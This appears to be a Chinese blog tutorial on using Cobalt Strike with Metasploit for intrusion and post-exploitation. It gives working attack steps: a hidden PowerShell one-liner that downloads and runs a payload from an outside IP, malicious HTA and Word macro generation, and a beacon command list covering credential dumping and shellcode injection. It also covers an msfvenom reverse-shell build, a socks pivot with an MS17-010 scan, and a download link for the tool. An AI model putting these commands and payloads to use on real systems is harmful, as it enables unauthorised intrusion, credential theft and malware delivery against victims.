Cobalt Strike 是一款不错的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能 。
Cobalt_Strike全套教程视频
0x1CS安装
Cobalt Strike3.8 工具下载 链接:https://pan.baidu.com/s/1Zi5HuncVhlNKdeu_zptDmQ
提取码:7ckh
Linux下启动 teamserver
1
|
./teamserver 服务器外网ip 客户端连接密码
|
![]()
客户端连接
点击cobalstrike.jar客户端,填写相应信息
![]()
0x2 listener
一个“监听”就是一个等待连接被入侵的系统的服务器。
CS 的监视器 有两个作用,
- 是告诉 CS 去为任何一种建立攻击载荷处理器;
- 那儿有一个被命名的别名是给处理器和设置信息作为参考的
攻击载荷有三种类型:
- 操作系统
- 攻击载荷名称
- 传输器
例如:
1
|
windows/beacon_http/reverse_http
|
是在 windows 操作系统下用 reverse_http 传输器 来进行 beacon_http 攻击载荷
stager(传输器) 是一个很小的代码,它连接并下载真实的 攻击载荷 并且插入内存
CS 有两种监视器:
- Beacon 为内置的 Listener,即在目标主机执行相应的payload,获取 shell 到 CS 上;其中包含DNS、HTTP、SMB。
- Foreign为外部结合的 Listener,常用于 MSF 的结合,例如获取 meterpreter 到 MSF 上。
beacon 命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
|
Command Description ------- ----------- browserpivot 注入受害者浏览器进程 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peer over TCP covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs Enable system privileges on current token getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peer over a named pipe logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid Set parent PID for spawned post-ex jobs ps 显示进程列表 p**ec Use a service to spawn a session on a host p**ec_psh Use PowerShell to spawn a session on a host psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg Query the registry rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu Execute a program under another PID screenshot 屏幕截图 setenv 设置环境变量 shell cmd执行命令 shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn Spawn a session spawnas Spawn a session as another user spawnto Set executable to spawn processes into spawnu Spawn a session under another PID ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink Disconnect from parent Beacon upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话 argue 进程参数欺骗 复制代码
|
beacon有三种类型:
- http beacon
- dns beacon
- smb beacon
0x2.1http beacon
创建Beacon Listener
Cobalt Strike->Listeners
![]()
创建 powershell 恶意代码
Attacks->Web Drive-by->scripted web delivery

复制里面的命令,并点击 ok
![CobaltStrike]()
在受害机上执行该命令
1
|
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.79.24.186/a'))"
|

受害机成功上线
![]()
0x2.2 smb beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。 也经常利用 smb 提升权限。

选择目标,点击Interact ,在beacon>中输入 shell whoami/groups 查看当前权限,随后bypassuac smb ,成功后可看到产生一个新的 beacon 会话 ,yesi*
有带*
号,表示为管理员。
![]()
** DNS Beacon **
DNS Beacon在绕过防火墙 权限维持上非常有效
0x3.1 HTML Application
ATTACK->packages-> HTML Application

点击Generate,并保存evil.hta
将生成的evil.hta,上传到 CS 的服务器上

点击 Launch

复制 evil.hta 的 url 地址,并点击 ok

让受害机访问 此 url 链接,并运行 evil.hta 文件
![]()
0x3.2 ms office macro
首先我们需要制作一个word宏病毒来进行远控操作。在Cobalt strike中,需要新建一个监听程序来进行监听
然后点击attacks -> packages -> ms office macro, 选择前面所创建的listener
![]()

复制宏内容,然后打开一个word文档,添加宏,记得添加的地方不能有误,添加宏的位置在 视图 -> 宏。创建宏以后添加代码是在project中,这点不能搞错,如下图

添加完成以后,只需要保存为启用宏的word就可以了,这样就制作为一个word宏病毒文件
![]()
0x3.3
CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用
0x4.1socks代理
通过Beacon内置的socks功能在VPS上开启代理端口,打通目标内网通道,之后将本地Metasploit直接带入目标内网,进行横向渗透
首先,到已控目标机的Beacon下将socks代理开启。

开菜单栏中的View > Proxy Pivots,点击Tunnel复制代理连接到Metasploit中

![CobaltStrike]()
在Metasploit设置 socks代理,探测目标内网中存在MS17_010漏洞的主机
1 2 3 4 5 6 7 8 9 10 11 12 13
|
msf5 > setg Proxies socks4:120.79.24.186:1024 Proxies => socks4:120.79.24.186:1024 msf5 > setg ReverseAllowProxy true ReverseAllowProxy => true msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.3.0/24 rhosts => 192.168.3.0/24 msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 100 threads => 100 msf5 auxiliary(scanner/smb/smb_ms17_010) > run
[*] 192.168.3.0/24:445 - Scanned 71 of 256 hosts (27% complete) [+] 192.168.3.3:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
|
0x4.2CS与MSF会话互传
** 0x4.2.1CobaltStrike派生Metasploit **
当CobaltStrike获得了一个上线机器,想把这个目标传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令
1 2 3 4 5 6 7 8 9 10
|
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.3.129 lhost => 192.168.3.129 setmsf5 exploit(multi/handler) > set lport 5555 lport => 5555 msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.3.129:5555
|
之后使用CobaltStrike创建一个windows/foreign/reverse_tcp的Listener。其中IP为Metasploit的监听地址,端口为Metasploit所监听的端口
![CobaltStrike]()
然后选中计算机,右键->Spawn:选择MSF的监听器
![CobaltStrike]()
一开始没有成功
1 2 3
|
[*] Meterpreter session 1 opened (192.168.3.129:5555 -> 192.168.3.3:50112) at 2020-02-08 09:56:43 -0500
[*] 192.168.3.3 - Meterpreter session 8 closed. Reason: Died
|
尝试将受害者的防火墙关闭
![]()
** 0x4.2.2 Metasploit派生CobaltStrike **
Metasploit设置监听
![CobaltStrike]()
msfvenom 生成payload
1
|
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.129 LPORT=5555 -f exe > shell.exe
|
将生成的shell.exe,让受害机点击运行, msf成功得到一个session

在CobaltStrike中创建一个监听者,和上一步类似,这里host需要修改为CobaltStrike的IP,创建好之后便监听4444端口,等待着被控机连接
![]()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
meterpreter > background [*] Backgrounding session 6... msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf5 exploit(windows/local/payload_inject) > set lhost 120.79.24.186 lhost => 120.79.24.186 msf5 exploit(windows/local/payload_inject) > set lport 4444 lport => 4444 msf5 exploit(windows/local/payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf5 exploit(windows/local/payload_inject) > set session 6 session => 6 msf5 exploit(windows/local/payload_inject) > run
[*] Running module against YESI-PC [-] PID does not actually exist. [*] Launching notepad.exe... [*] Preparing 'windows/meterpreter/reverse_http' for PID 2860
|
这里倒是没有成功,暂留,日后补充。
参考文章:
CobaltStrike与Metasploit实战联动
利用Cobalt strike一步步教你发送钓鱼邮件
FROM :blog.cfyqy.com | Author:cfyqy
评论